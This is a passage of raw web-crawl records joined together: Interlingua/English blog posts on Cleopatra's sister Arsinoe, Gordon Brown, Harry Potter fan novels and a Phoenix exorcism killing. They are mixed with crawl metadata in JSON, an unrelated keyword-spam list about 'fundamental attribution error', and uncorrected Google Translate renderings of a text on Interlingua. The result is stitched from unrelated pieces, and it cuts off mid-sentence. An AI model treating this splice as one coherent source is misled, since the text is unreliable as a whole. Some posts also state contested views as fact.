finalmente convinto gli esperti che lo scheletro appartenga alla sorella di Cleopatra.\nIl cranio fu separato dallo scheletro per esaminazione e sparì durante la Seconda Guerra Mondiale. L'antropologo Caroline Wilkinson tuttavia, ha ricostruito il volto sulla base di misure prese nel corso nel decennio degli anni '20.\nSecondo un articolo del quotidiano britannico \"The Sunday Times\", antichi testi antichi trovati in città e appartenenti all'epoca dell'impero romano, indicano che Arsinoe fu mandata ad Efeso, dopo essere stata sconfitta in una lotta di potere con Cleopatra e il leader romano Giulio Cesare,\nMolti credono che, dopo la morte di Giulio Cesare, quando lei si alleò con il generale romano Marco Antonio, Cleopatra ordinò che la sua sorella fosse uccisa per prevenire una possibile guerra per il futuro del trono egiziano.\n---\nThe Egyptian queen Cleopatra was partly African, according to a team of researchers from the Austrian Archaeological Institute. The conclusion was drawn after the identification of the skeleton of the younger sister of Cleopatra, the princess Arsinoe, which was found in a tomb more than 2,000 years old in Ephesus, Turkey.\nEvidence obtained by studying the dimensions of the skull of Arsinoe shows that it has some features of white Europeans, ancient Egyptians, and black Africans, probably indicating that Cleopatra was of mixed ethnic origin. The mother of Arsinoe, it seems, was of African origin.\nFor a long time experts have debated about whether Cleopatra was North African, Greek or Macedonian. Her ancestor Ptolemy was a Macedonian general who became governor of Egypt by order of Alexander the Great.\nHilke Thuer, an expert at the Austrian Academy of Sciences who has long believed that the tomb was Arsinoe's, described the discovery as sensational because it gives new information about Cleopatra's family and the relationship between her and her sister Arsinoe.\nThe tomb at Ephesus was first opened in 1926, and up to now there has been a debate among scientists about the identity of its occupant. But forensic techniques combined with anthropological and architectural analyses of the tomb eventually persuaded the experts that the skeleton belongs to Cleopatra's sister.\nThe skull was separated from the skeleton for examination and eventually disappeared during the Second World War. But the anthropologist Caroline Wilkinson rebuilt the face on the basis of measures taken during the 1920s.\nAncient texts found in the city, which belonged to the Roman Empire, indicate that Arsinoe was sent there after being defeated in a power struggle with Cleopatra and the Roman leader Julius Caesar, according to an article the British newspaper \"The Sunday Times.\"\nMany believe that when Cleopatra was involved with the Roman general Mark Antony, after the death of Julius Caesar, she ordered (that her sister be killed)\/(her sister to be killed) to prevent a possible dispute about the future of the Egyptian throne.\nPosted by hkyson at 6:14 AM","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/interlinguamultilingue.blogspot.com\/2009_07_01_archive.html","date":"2018-03-23T14:56:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648313.85\/warc\/CC-MAIN-20180323141827-20180323161827-00025.warc.gz","language":"ina","language_score":0.4483499825,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"ina_Latn_score\": 0.4483499825000763, \"ita_Latn_score\": 0.06968890130519867, \"por_Latn_score\": 0.06954538077116013, \"spa_Latn_score\": 0.06945373117923737, \"eng_Latn_score\": 0.057715218514204025, \"cbk_Latn_score\": 0.035161346197128296, \"srd_Latn_score\": 0.02854340150952339, \"vec_Latn_score\": 0.01747172139585018, \"lat_Latn_score\": 0.01316563319414854, \"lmo_Latn_score\": 0.011532183736562729, \"ile_Latn_score\": 0.010854575783014297, \"glg_Latn_score\": 0.010836547240614891}","num_words":17782,"character_repetition_ratio":0.032,"word_repetition_ratio":0.015,"special_characters_ratio":0.192,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":0.494,"perplexity_score":2697.7,"cluster_detection":-1} +{"text":"fund attribution error\nfundamental attribution error discussion questions\nfunamental attribution error\nfundamental attribution error case studies\nfundamental attribution error studies\nfundamental misattribution error\nfundamental attribution error simply psychology\nfundamental attribution error leadership\nfundamental attribution error with examples\nfundamental attribution error theory examples\nfundamental attribution error vs correspondence bias\nfundament attribution error\nfundamental attribution error contributes to prejudice\nfundamental attribution error examples in business\nfundamental attribution error article\nfundamental attribution error bias\nfundamental attribution error important psychology\nfundamental attribution error relationships\nfundamental attribution error prejudice\nfundamental attribution error ross\nfundamental attribution error terrorism\nfundamenta attribution error\nfundimental attribution error\nfundamental attribution error groups\nfundamental attribution error psychology today\nfundamental attribution error and stereotyping\nfundamental attribution error wikipedia\nfundamental attribution error example psychology\nfundamental attribution error experiment\nfundamental attribution error examples at work\nfundamental attribution error wiki\nfundemental attribution error\nfundamental attribution error research studies\nfundamental attribution error vs ultimate attribution error\nfundemantal attribution error\nfundamental attribution error articles\nfundamental attribution error and culture\nfundamental attribution error research paper\nfundamental attribution error in the news\nfundmental attribution error\nfundamental attribution error questions\nfundamental attribution error example\nfundemental atribution error\nfundamental attribution error vs actor observer effects\nfundamental attribution error examples\nfundamental attribution error experiments\nfundamental attribution error ultimate attribution error\ngender attribution error\ngive example fundamental attribution error\ngive an example of fundamental attribution error\nglobal attribution error\ngoshutes fundamental attribution error\ngroup attribution error\ngroup attribution error definition\ngroup attribution error example\ngrouping error statistics\ngroup based attribution error\n© 2017 imagextension.com","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/imagextension.com\/attribution-error\/","date":"2018-04-26T13:31:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948214.37\/warc\/CC-MAIN-20180426125104-20180426145104-00077.warc.gz","language":"ina","language_score":0.5657513738,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"ina_Latn_score\": 0.5657513737678528, \"eng_Latn_score\": 0.3540898263454437, \"ile_Latn_score\": 0.012195087969303131}","num_words":380,"character_repetition_ratio":0.51,"word_repetition_ratio":0.0,"special_characters_ratio":0.112,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.566,"perplexity_score":43327.9,"cluster_detection":-1} +{"text":"Saturday, January 31, 2009\n(Languages of this post: Interlingua, English)\nIl nunc ha un maniera excellente que anglophonos pote usar pro studiar le francese e le italiano! Le sito [linguality.com] offere best sellers francese e italian presentate de un maniera que fortemente facilita le studio de iste linguas.\nEcce como [linguality.com] presenta le textos in iste libros: Le texto mesme appare in paginas recto. In le paginas verso il ha annotationes comprehensive que explica le vocabulario rar e altere punctos difficile del textos.\nCata libro anque veni con un CD con un interview con le autores in francese e italiano. Il ha anque un transcription del interview (con annotationes, naturalmente) in un appendice del libro. Assi, on pote facilemente comprender le textos intra lor contexto cultural.\nIste methodo de presentation richissime, naturalmente, pote usar se con ulle combination de linguas. Illo esserea un maniera excellente de promover le studio de linguas inter europeos e americanos.\n---\nThere is now an excellent way that speakers of English can use to study French and Italian! The site [linguality.com] offers French and Italian best sellers presented in a way that greatly facilitates the study of these languages.\nHere is how [linguality.com] presents the texts in these books: The text itself appears on recto pages. On the verso pages there are comprehensive annotations that explain rare vocabulary and other difficult points of the texts.\nEach book also comes with a CD with an interview with the authors in French and Italian. There is also a transcription of the interview (with annotations, naturally) in an appendix in the book. In this way a person can easily understand the texts within their cultural context.\nThis rich method of presentation, naturally, can be used with any combination of languages. It would be an excellent way of promoting language studies among Europeans and Americans.\nPosted by hkyson at 3:16 PM\n(Languages of this post: Interlingua, English)\nLe prime ministro britannic, Gordon Brown, recentemente exprimeva su appoio pro gays in su responsas a un serie de questiones presentate pro lectores de\n\"Io es fer del historia del appoio pro derectos gay per recente governamentos britannic,\" scribeva Brown. \"Io crede que nostre progresso usque nunc ha essite excellente. Pro exemplo, nos ha nullificate multe leges antigay in le Regno Unite e ha illegalisate le discrimination contra omnes a causa de lor orientation sexual. Io pote promitter que mi governamento continuara a facer omne lo que illo pote pro augmentar le tolerantia e le libertate social in le Regno Unite.\"\nBrown diceva que ille esseva \"multo fer de appoiar publicamente un lege que recognosce le derectos marital de omne copulas gay.\"\nE ille diceva que su governamento \"ha annunciate un strategia international pro promover derectos gay in altere paises, includente effortios pro incoragiar le decriminalisation del homosexualitate\".\nFinalmente, le prime ministro ha promittite \"combatter aggressivemente assaultos sur studentes gay in scholas britannic e discrimination contra travaliatores a causa de lor orientation sexual.\"\n---\nGordon Brown supports gay rights.\nThe British prime minister, Gordon Brown, recently expressed his support for gays in his responses to a series of questions presented by\n\"I am proud of the history of support for gay rights by recent British governments,\" Brown wrote. \"I believe that our progress up to now has been excellent. For example, we have repealed many antigay laws and have made it illegal to discriminate against everyone because of their sexual orientation. I can promise that my government will continue to do everything it can to increase tolerance and social liberty in the United Kingdom.\"\nBrown said that he was \"very proud of publicly supporting a law that recognizes marriage\/marital rights for all gay couples.\"\nAnd he said that his government \"has announced an international strategy to promote gay rights in other countries, including efforts to encourage the decriminalization of homosexuality.\"\nFinally, the prime minister has promised \"to aggressively combat assaults on gay students in British schools and discrimination against workers because of their sexual orientation.\"\nPosted by hkyson at 2:59 PM\n(Languages of this post: Interlingua, English)\nIl pare que Peter Gopsill e io possede in commun simile sentimentos liberal sur le propagation e le uso de Interlingua. In \"Lingua e Vita\" (maio-augusto 2007) ille scribeva isto:\n\"Si on vole saper qualcosa, il vale cercar lo in Wikipedia. Benque le articulo sequente [Le historia antenatal de interlingua] appare in Wikipedia sub \"Interlingua\" sin nostre permission, nos ha nulle objection si illo promove le lingua international. Lege lo e forsan vos apprendera qualcosa de interessante super le historia de interlingua. Mesmo le copiatores pro Wikipedia ha facite certe errores typographic, que nos lassa pro provar que le orthographia de facto non importa pro comprehension total.\"\nIo imprimeva mi proprie redaction de \"Le historia antenatal de interlingua\" in \"Interlingua in Interlingua\" [interlinguistica], un version del qual anque appare in iste sito. Un altere interlinguista, il pare, lo copiava electronicamente a Wikipedia. Probabilemente io mesme faceva le errores typographic quando io lo claviava. Io spera que tosto un altere interlinguista vadera a Wikipedia pro corriger los.\n(Io pote accessar Wikipedia pro leger lo, ma io non sape como on corrige textos jam montate a iste encyclopedia electronic. Mi accesso al Rete es troppo limitate pro permitter me le tempore pro studiar le detailios del structura de altere sitos in le Rete.)\nE naturalmente, si io non habeva copiate iste articulo pro \"Interlingua in interlingua\" e postea pro \"Wikipedia\", illo haberea essite accessibile solmente in un numero de copias multo reducite del magazin in le qual illo appareva originalmente. In altere parolas, illo haberea essite oblidate quasi completemente. (Infelicemente, isto es anque ver pro le major parte del articulos publicate in \"Panorama\".)\nIo ha legite que 90% (novanta pro per cento) del collection de nostre biblioteca national (the Library of Congress) resta sur su plancas accumulante pulvere completemente sin esser consultate. Isto significa vermente que on ha oblidate lor textos completemente e que illos quasi non existe.\n---\nIt seems that Peter Gopsill and I share similar liberal sentiments about the use and propagation of Interlingua. \"In Lingua e Vita\" (May-August 2007) he wrote this:\n\"If you want to know something, it's a good idea to look for it in Wikipedia. Though the following article [Le historia antenatal de interlingua] appears in Wikipedia under \"Interlingua\" without our permission, we have no objection if it promotes the international language. Read it and perhaps you will learn something interesting about the history of Interlingua. Even the people who copied it into Wikipedia have made certain typographical errors, which we left alone to show that spelling in fact is not important for total comprehension.\"\nI printed my own edited version of \"Le historia antenatal de interlingua\" in \"Interlingua in interlingua\" [interlinguistica], a version of which also appears on this site. Another interlinguist, it seems, copied it electronically into Wikipedia. Probably I myself made the typographical errors when I keyboarded it. I hope that soon some other Interlinguist will go to Wikipedia to correct them.\n(I can access Wikipedia to read it, but I don't know how to correct texts already uploaded into this electronic encyclopedia. My access to the Net is too limited to allow me the time to study the details of the structure of other sites on the Net.)\nAnd naturally, if I had not copied this article for \"Interlingua in interlingua\" and afterward for \"Wikipedia,\" it would have been accessible only in a very small number of copies of the magazine in which it appeared originally. In other words, it would have been forgotten almost completely. (Unfortunately, this is also true for most of the articles published in \"Panorama.\")\nI have read that 90% (ninety percent) of the collection of our national library (the Library of Congress) rests on its shelves gathering dust completely without being consulted. This really means that their texts have been completely forgotten and that they almost do not exist.\nPosted by hkyson at 2:48 PM\n(Languages of this post: Interlingua, English)\nVole vos esser solmente un studente passive de interlingua?\nSu tu vole, tu pote esser un studente passive de interlingua. Le grammatica de interlingua non ha le irregularitates de su linguas fonte. E si vos cognosce al minus un ex su linguas fonte (le anglese, le latino, e le linguas romanic), vos potera apprender a leger interlingua rapidissimemente con pauc effortio.\nPro tal studentes passive (qui cognosce, que nos dice, 80% [octanta per cento] de su vocabulario), le simplicitate de interlingua pote augmentar vostre confidentia como studente de linguas e stimular vostre studio de altere linguas, specialmente su linguas fonte.\nVole vos esser un studente plus active de interlingua?\nSi vos vole studiar interlingua plus intensivemente pro apprender a scriber lo (e anque possibilemente a parlar lo), il nunc ha multe ressources gratuite pro tal studios disponibile in le Rete.\nLe Rete contine cursos grande e parve e un varietate de textos pro practicar disponibile absolutemente gratis. Vos pote comenciar a trovar los usante un motor de cercas con le parola \"interlingua\" o \"Interlingua\". Vos pote comenciar con mi proprie publication, \"Interlingua in interlingua\", que ha textos pro practicar e un curso assatis grande. Nove redactiones de alicun versiones de iste curso e unes altere textos trovate in \"Interlingua in interlingua\" nunc es disponibile in altere sitos.\nIo anque ha elaborate un grande curso de conversation, un version del qual es disponibile in iste sito in versiones in interlingua e anglese. Su dialogos insenia directemente le diverse patronos de conversation, le quales vos facilemente pote apprender inductivemente legente los con altere personas de un maniera que imita un drama de radio o de television. Io vole incoragiar que altere interlinguistas los usa como un base pro producer podcasts o videos.\nSi vos vole, vos anque pote comprar libros de interlingua, naturalmente. Ma le quantitate de ressources pedagogic disponibile gratis in le Rete nunc es assatis grande (e lor quantitate cresce continuemente!), e il nunc non es necesse comprar los si vos non vole o si vos trova que il es inconveniente facer isto.\nUn nota final: Si vos es le partisano de un altere lingua planificate, vos es benvenite a usar le ressources de \"Interlingua in interlingua\" o de \"Janua linguarum\" pro rapidemente producer nove textos in le lingua que vos prefere.\n---\nHow to Study Interlingua and Why It is Useful to Study It\nDo you want to be only a passive student of Interlingua?\nIf you want, you can be a passive student of Interlingua. The grammar of Interlingua does not have irregularities found in its source languages. And if you know at least one of its source languages (English, Latin, and the Romance Languages), you can learn to read Interlingua very rapidly with little effort.\nFor such passive students (who know, let's say, 80% [eighty per cent] of its vocabulary), the simplicity of Interlingua can increase your confidence as a student of languages and stimulate your study of other ones, especially its source languages.\nDo you want to be a more active student of Interlingua?\nIf you want to study Interlingua more intensively to learn to write it (and maybe to speak it also), there are now a lot of resources freely available on the Net.\nThe Net contains long and short courses and a variety of texts for practicing that are available for nothing. You can start finding them using a search engine with the word \"interlingua\" or \"Interlingua\". You can begin with my own publication, \"Interlingua in interlingua\", which has practice texts and a rather long course. Revised versions of this course and some other texts found in \"Interlingua in interlingua\" are now also available on other sites.\nI have also elaborated a large conversation course, a version of which is available on this site in Interlingua and English. Its dialogues directly teach the various patterns of conversation, which you can easily learn inductively by reading them with other people in a way that imitates a radio or television drama. I want to encourage other Interlinguists to use them as a basis for producing podcasts or videos.\nIf you want, you can also buy Interlingua books, quite naturally. But the amount of pedagogical resources available for nothing on the Net is now rather large (and their quantity is growing all the time!), and it is no longer necessary to buy them if you don't want to or if you should find that it is inconvenient to do so.\nOne final note: If you are the partisan of another planned language, you are welcome to use the ressources of \"Interlingua in interlingua\" or \"Janua linguarum\" for rapidly producing new texts in the language you prefer.\nPosted by hkyson at 2:24 PM\n(Languages of this post: Interlingua, English)\nHarry Potter es un phenomeno litterari mundial qui ha attrahite milliones de fans. Vermente, como Mickey Mouse e Donald Duck, il pare que ille es destinate a devenir un parte del folklore de nostre emergente cultura international. Ille es tan popular in China que multe autores chinese ha publicate lor proprie romances sur ille con titulos como \"Harry Potter e le imperio chinese\" e \"Harry Potter e le juvene heroes\".\nBen que le qualitate litterari de multes ex illos pare esser assatis basse, alicunes ex iste libros ha attrahite milliones de lectores enthusiaste.\nLi Jingsheng, qui travailaia in un fabrica de textiles chinese, scribeva su proprie conclusion al serie de romances de Potter quando su filio, post haber legite le sexte del serie, insisteva que su patre continuava le narration scribente su proprie septime romance.\nLi comenciava a scriber lo in su proprie computator personal, legeva le capitulos a su filio post que ille los scribeva, e eventualmente produceva un romance de 250.000 (duo centos cinquanta mille) parolas, le qual ille publicava sur le Rete. Su libro rapidemente attraheva 150.000 (cento cinquanta mille) lectores in un sito chinese popular,\nIn le Statos Unite, le fans del serie de programmas de television \"Star Trek\" anque ha scribite lor proprie romances sur le diverse personages de ille serie de programmas. Alicunes ex iste autores deveniva assatis famose e comenciava a scriber altere romances de fantascientia con nove personages.\nMulte autores ha apprendite lor mestiero imitante altere autores ben establite--un processo que debe esser incoragiate.\n---\nMany Chinese authors are writing their own novels about Harry Potter.\nHarry Potter is a world-wide literary phenomenon that has attracted millions of fans. To tell the truth, like Mickey Mouse and Donald Duck, it seems that he is destined to become a part of the folklore of our emerging international culture. He is so popular in China that many Chinese authors have published their own novels about him with titles such \"Harry Potter and the Chinese Empire\" and \"Harry Potter and the Young Heroes.\"\nThough the literary quality of many of them seems to be rather low, some of these books have attracted millions of enthusiastic readers.\nLi Jengsheng, who works in a Chinese textile factory, wrote his own conclusion to the series of Potter novels when his son, after having read the sixth one in the series, insisted that his father continue the narration by writing his own seventh novel.\nLi started to write it on his own personal computer, read the chapters to his son after he wrote them, and eventually produced a 250,000-word novel (two hundred [and] fifty thousand word novel), which he published on the Net. His book rapidly attracted 150,000 (one hundred fifty thousand) readers on a popular Chinese site,\nIn the United States, the fans of the Star Trek series of television programs also have written their own novels on the various characters in that series of programs. Some of these authors became rather famous and started to write other science-fiction novels with new characters.\nMany authors have learned their craft by imitating other well-established authors--a process that should be encouraged.\nPosted by hkyson at 2:08 PM\n(Languages of this post: Interlingua, English)\nAgentes del policia de Phoenix, Arizona, respondeva a un reporto de exorcismo christian e videva que Ronald Marquez, le granpatre de un puera de tres annos, la strangulava.\nUn femina de dece nove annos in le camera ubi Marquez strangulava su granfilia participava in le processo, recitante un ritual de exorcismo. Le agentes essayava a usar un virgo electric pro incapacitar Marquez. Le prime application del apparato non pareva haber ulle effecto, e le policia le electrocutava un secunde vice. Iste vice le puera se liberava del manos de su granpatre, qui postea moriva del assalto.\nLe matre del puera, qui anque participava in le exorcismo, non esseva detenite, ma le departamento de justicia de Phoenix possibilemente la processara como un assistente in le crimine. E mesmo si illa non es processate legalmente, illa probabilemente perdera le custodia legal de su filia.\nUsque nunc, un tabu social in le Statos Unite ha essite attaccar directemente le superstitiones religiose mesmo quando illos es le causa de assaltos in nomine Christi. Ma a causa del abusos del pedoprestres del ecclesia catholic, illo ha perdite omne su autoritate moral intra crescente numeros de personas, qui nunc non time denunciar le stupiditate religiose.\n---\nReligious Crime in Arizona\nPolice officers in Phoenix, Arizona, responded to a report of Christian exorcism and saw that Ronald Marquez, the grandfather of a three-year-old girl, was strangling her.\nA nineteen-year-old woman in the room where Marzuez was strangling his granddaughter participated in the process by reciting an exorcism ritual. The policeman tried to use a stun gun to incapacitate Marquez. The first use of the gun did not seem to have any effect, and the police shocked him a second time. This time the girl was freed from the hands of her grandfather, who later on died from the assault.\nThe mother of the girl, who also participated in the exorcism, was not arrested, but the district attorney of Phoenix will possibly try her as an accessory to this crime. And even if she is not tried, she will probably lose legal custody of the girl.\nIn the United States up to now, it has been a social taboo to attack religious superstitions directly even when they are the cause of assaults in nomine Christi. But because of the abuses of the pedopriests of the catholic church, it has lost all its moral authority among growing numbers of people, who are no longer afraid to denounce religious stupidity.\nPosted by hkyson at 1:47 PM\n(Languages of this text: Interlingua, English, Spanish, Portuguese, Galician, Catalan, French, Italian, German, Dutch, Danish, Swedish, and Norwegian)\nTraductores electronic pote producer textos utile si le personas qui los usa ha bon cognoscimentos de ambe linguas del traduction. Iste personas pote producer traductiones que es rationabile mesmo si illes non pote producer traductiones que es perfecte. Le sequente texto sur interlingua esseva producite per le traductor providite per Google. Nulle cambios esseva facite al traductiones, le quales veniva de un texto original in anglese.\nInterlingua es un lingua planificate que ha essite derivate del elementos que es commun al latino, anglese, francese, italiano, espaniol, e portugese. A causa de su simplicitate, on ha usate interlingua pro producer summarios in un varietate de publications in le scientias, super toto in le campo del medicine, e como le sol medio de communication in diverse conferentias international.\nIn le instruction de linguas, interlingua provide un maniera rapide de apprender le vocabulario international e es un preparation excellente pro le studio del linguas romanic e pro ganiar un appreciation plus profunde del lingua anglese. E pro orientales e africanos, le studio de interlingua es un introduction excellente al linguas de Europa.\n---\nElectronic translators can produce useful texts if people who use them have good knowledge of both languages of the translation. These people can produce translations that are reasonable even if they cannot produce translations that are perfect. The following text about Interlingua was produced by the translator provided by Google. No changes were made to the translations, which came from an original text in English:\nInterlingua is a planned language that has been derived from the elements that are common to Latin, English, French, Italian, Spanish, and portuguese. Because of its simplicity Interlingua has been used to produce abstracts in a variety publications in the sciences, above all in the field of medicine, and as the sole means of communication in various international conferences.\nIn the teaching of languages, Interlingua provides a rapid means for learning the international vocabulary and is an excellent preparation for the study of the Romance languages and for achieving a deeper appreciation of the English language. And for Asians and Africans, studying Interlingua is an excellent introduction to the languages of Europe.\nESPANIOL:\nTraductores electrónicos pueden producir textos útiles si las personas que los utilizan tienen un buen conocimiento de ambos idiomas de la traducción. Estas personas pueden producir traducciones que sean razonables, incluso si no pueden producir traducciones que sean perfectos. El siguiente texto sobre interlingua fue producido por el traductor proporcionado por Google. No se hicieron cambios en las traducciones, que procedían de un texto original en Inglés:\nInterlingua es una lengua planificada que se ha derivado de los elementos que son comunes al latín, Inglés, francés, italiano, español y portugués. Debido a su simplicidad, interlingua se ha utilizado para producir una variedad de resúmenes de publicaciones en las ciencias, sobre todo en el campo de la medicina, y como el único medio de comunicación en diversas conferencias internacionales.\nEn la enseñanza de idiomas, interlingua proporciona un medio rápido para aprender el vocabulario internacional y es una excelente preparación para el estudio de las lenguas románicas y para lograr una apreciación más profunda del Idioma Inglés. Y para los asiáticos y africanos, el estudio de interlingua es una excelente introducción a las lenguas de Europa.\nPORTUGESE:\nElectronic tradutores podem produzir textos útil se as pessoas que os utilizam têm um bom conhecimento de ambas as línguas da tradução. Estas pessoas podem produzir traduções que são razoáveis, mesmo que não pode produzir traduções que são perfeitos. O seguinte texto sobre a Interlíngua foi produzido pelo tradutor fornecido pelo Google. Nenhuma alteração foi feita para as traduções, que veio de um texto original em Inglês:\nInterlíngua é uma língua planejada que foi derivada de os elementos que são comuns aos latino, Inglês, Francês, Italiano, Espanhol e Português. Devido à sua simplicidade Interlingua tem sido utilizada para a produção de resumos em uma variedade publicações nas ciências, sobretudo no campo da medicina, e como o único meio de comunicação em várias conferências internacionais.\nNo ensino de línguas, Interlingua fornece um meio rápido para aprender o vocabulário internacional e é uma excelente preparação para o estudo das línguas românicas e para alcançar uma apreciação mais profunda do idioma Inglês. E para os asiáticos e africanos, estuda Interlíngua é uma excelente introdução para as línguas da Europa.\nGALICIANO:\nElectronic traductores poden producir textos útil as persoas que os empregan teñen un bo coñecemento de ambas as linguas da traducción. Estas persoas poden producir traducións que son razoáveis, aínda que non pode producir traducións que son perfecto. Seguinte texto sobre Interlingua foi producido polo traductor fornecida Google. Ningunha modificación foi feita para as traducións, que veu dun texto orixinal en inglés:\nInterlingua é unha lingua planear que foi derivada de los elementos que son comúns aos latino, Inglés, Francés, italiano, castelán e portugués. Gracias á súa simplicidade Interlingua ten sido utilizada para a producción de resumos nunha variedade publicacións nas ciencias, sobre todo no campo da medicina e como o único medio de comunicación en varias conferencias internacionais.\nNo ensino de linguas, Interlingua fornece un medio rápido para aprender o vocabulario internacional e é unha excelente preparación para o estudo das linguas románicas e para alcanzar unha apreciação máis profunda do idioma inglés. E para os asiáticos e Africano, estuda Interlingua é unha excelente introdución para as linguas de Europa.\nCATALAN:\nTraductors electrònics poden produir textos útils si les persones que els utilitzen tenen un bon coneixement d'ambdós idiomes de la traducció. Aquestes persones poden produir traduccions que siguin raonables, fins i tot si no poden produir traduccions que siguin perfectes. El següent text sobre Interlingua va ser produït pel traductor proporcionat per Google. No es van fer canvis en les traduccions, que procedien d'un text original en anglès:\nInterlingua és una llengua planificada que s'ha derivat dels elements que són comuns al llatí, anglès, francès, italià, espanyol i portuguès. Degut a interlingua seva simplicitat ha estat utilitzat per a produir una varietat de resums de publicacions en les ciències, sobretot en el camp de la medicina, i com l'únic mitjà de comunicació en diverses conferències internacionals.\nEn l'ensenyament d'idiomes, interlingua proporciona un mitjà ràpid per aprendre el vocabulari internacional i és una excel lent preparació per a l'estudi de les llengües romàniques i per aconseguir una apreciació més profunda de l'idioma Anglès. I per als asiàtics i africans, l'estudi d'interlingua és una excel lent introducció a les llengües d'Europa.\nFRANCESE:\nTraducteurs électroniques peuvent produire des textes utiles si les gens qui les utilisent ont une bonne connaissance des deux langues de la traduction. Ces personnes peuvent produire des traductions qui soient raisonnables, même si elles ne peuvent produire des traductions qui sont parfaits. Le texte ci-après au sujet de l'interlingua a été produit par le traducteur est fourni par Google. Aucun changement n'a été apporté aux traductions, qui proviennent d'un texte original en anglais:\nInterlingua est une langue qui a été dressée à partir des éléments qui sont communs au latin, anglais, français, italien, espagnol et portugais. En raison de sa simplicité interlingua a été utilisé pour produire des résumés de diverses publications dans le domaine des sciences, surtout dans le domaine de la médecine, et comme le seul moyen de communication dans les diverses conférences internationales.\nDans l'enseignement des langues, Interlingua fournit un moyen rapide pour apprendre le vocabulaire international et constitue une excellente préparation pour l'étude des langues romanes et de parvenir à une appréciation plus profonde de la langue anglaise. Et pour les Asiatiques et les Africains, l'étude Interlingua est une excellente introduction à la langue de l'Europe.\nITALIANO:\nElectronic traduttori in grado di produrre testi utili se le persone che li usano hanno una buona conoscenza di entrambe le lingue di traduzione. Queste persone possono produrre traduzioni che sono ragionevoli, anche se non può produrre traduzioni che sono perfetti. Il testo seguente è stato prodotto su Interlingua dal traduttore fornito da Google. Non sono state apportate modifiche alle traduzioni, che proveniva da un testo originale in inglese:\nInterlingua è un progetto di lingua che è stato derivato da elementi che sono comuni al latino, inglese, francese, italiano, spagnolo e portoghese. A causa della sua semplicità Interlingua è stato utilizzato per la produzione di abstract in una varietà pubblicazioni nelle scienze, soprattutto nel campo della medicina, e come l'unico mezzo di comunicazione in diverse conferenze internazionali.\nIn materia di insegnamento delle lingue, Interlingua fornisce un rapido strumento per l'apprendimento del lessico e internazionali è un'ottima preparazione per lo studio delle lingue romanze e per raggiungere un più profondo apprezzamento della lingua inglese. E per gli africani e asiatici, studiare interlingua è un eccellente introduzione alle lingue d'Europa.\nGERMAN:\nElektronische Übersetzer können nützliche Texte, wenn die Menschen, die haben gute Kenntnisse in beiden Sprachen der Übersetzung. Diese Menschen können Übersetzungen, die angemessen sind, auch wenn sie nicht produzieren, Übersetzungen, die perfekt. Der folgende Text über Interlingua wurde durch den Übersetzer von Google bereitgestellt wird. Keine Änderungen wurden vorgenommen, um die Übersetzungen, die von einer ursprünglichen Text in Englisch:\nInterlingua ist eine Plansprache, die aus den Elementen, die für Latein, Englisch, Französisch, Italienisch, Spanisch und Portugiesisch. Aufgrund seiner Einfachheit Interlingua wurde für die Herstellung von Zusammenfassungen in verschiedenen Veröffentlichungen in den Wissenschaften, vor allem im Bereich der Medizin, und als einziges Mittel der Kommunikation in verschiedenen internationalen Konferenzen.\nIn der Vermittlung von Sprache, Interlingua bietet eine schnelle Möglichkeit zum Erlernen der internationalen Wortschatz und ist eine ausgezeichnete Vorbereitung für das Studium der romanischen Sprachen und für die Erreichung einer tieferen Wertschätzung der englischen Sprache. Und für Asiaten und Afrikaner, Studium Interlingua ist eine ausgezeichnete Einführung in die Sprachen Europas.\nHOLLANDESE:\nElektronische vertalers kan nuttig zijn de teksten als de mensen die ze gebruiken hebben een goede kennis van beide talen van de vertaling. Deze mensen kunnen produceren vertalingen die redelijk zijn, zelfs als ze niet kunnen produceren vertalingen die zijn perfect. De volgende tekst over Interlingua is geproduceerd door de vertaler die door Google. Er zijn geen wijzigingen aangebracht aan de vertaling, die afkomstig is van een originele tekst in het Engels:\nInterlingua is een geplande taal die is afgeleid van de elementen die gemeenschappelijk zijn voor het Latijn, Engels, Frans, Italiaans, Spaans en Portugees. Omwille van de eenvoud Interlingua is gebruikt voor de productie van samenvattingen in diverse publicaties in de wetenschappen, vooral op het gebied van de geneeskunde, en als het enige middel van communicatie in de verschillende internationale conferenties.\nIn het aanleren van talen, Interlingua biedt een snelle methode voor het leren van de internationale woordenschat en is een uitstekende voorbereiding voor de studie van de Romaanse talen en voor het bereiken van een grotere appreciatie van de Engels taal. En voor Aziaten en Afrikanen, studeren Interlingua is een uitstekende introductie tot de talen van Europa.\nDANESE:\nElektroniske oversættere kan producere nyttige tekster, hvis folk, der bruger dem har godt kendskab til begge sprog i oversættelse. Disse mennesker kan producere oversættelser, der er rimelig, selv om de ikke kan producere oversættelser, der er perfekt. Følgende tekst om Interlingua blev produceret af oversætteren leveres af Google. Der blev ikke foretaget ændringer til oversættelser, som kom fra en oprindelige tekst på engelsk:\nInterlingua er en planlagt sprog, der er afledt af de elementer, der er fælles for latin, engelsk, fransk, italiensk, spansk og portugisisk. På grund af sin enkelhed Interlingua er blevet brugt til at producere abstracts i en række publikationer inden for videnskab, især inden for medicin, og som eneste middel til kommunikation i forskellige internationale konferencer.\nI undervisningen af sprog, Interlingua giver en hurtig hjælp til at lære det internationale ordforråd og er en glimrende forberedelse til undersøgelse af de romanske sprog og for at opnå en dybere forståelse af det engelske sprog. Og for asiater og afrikanere, studerer Interlingua er en fremragende introduktion til sprogene i Europa.\nSVEDESE:\nElektroniska översättare kan producera användbara texter om människor som använder dem har goda kunskaper i både språk översättningen. Dessa människor kan producera översättningar som är rimliga, även om de inte kan producera översättningar som är perfekt. Följande text om interlingua har producerats av översättaren som Google. Inga ändringar har gjorts i översättningarna, som kom från en originaltexten på engelska:\nInterlingua är ett planerat språk som härstammar från de delar som är gemensamma för latin, engelska, franska, italienska, spanska och portugisiska. På grund av dess enkelhet Interlingua har använts för att producera abstracts i en mängd olika publikationer i vetenskapen, framför allt inom medicin, och som enda medel för kommunikation i olika internationella konferenser.\nI undervisningen i språk, interlingua ger en snabb väg till att lära sig det internationella ordförrådet och är en utmärkt förberedelse för studier i romanska språk och för att nå en djupare förståelse för det engelska språket. Och för asiater 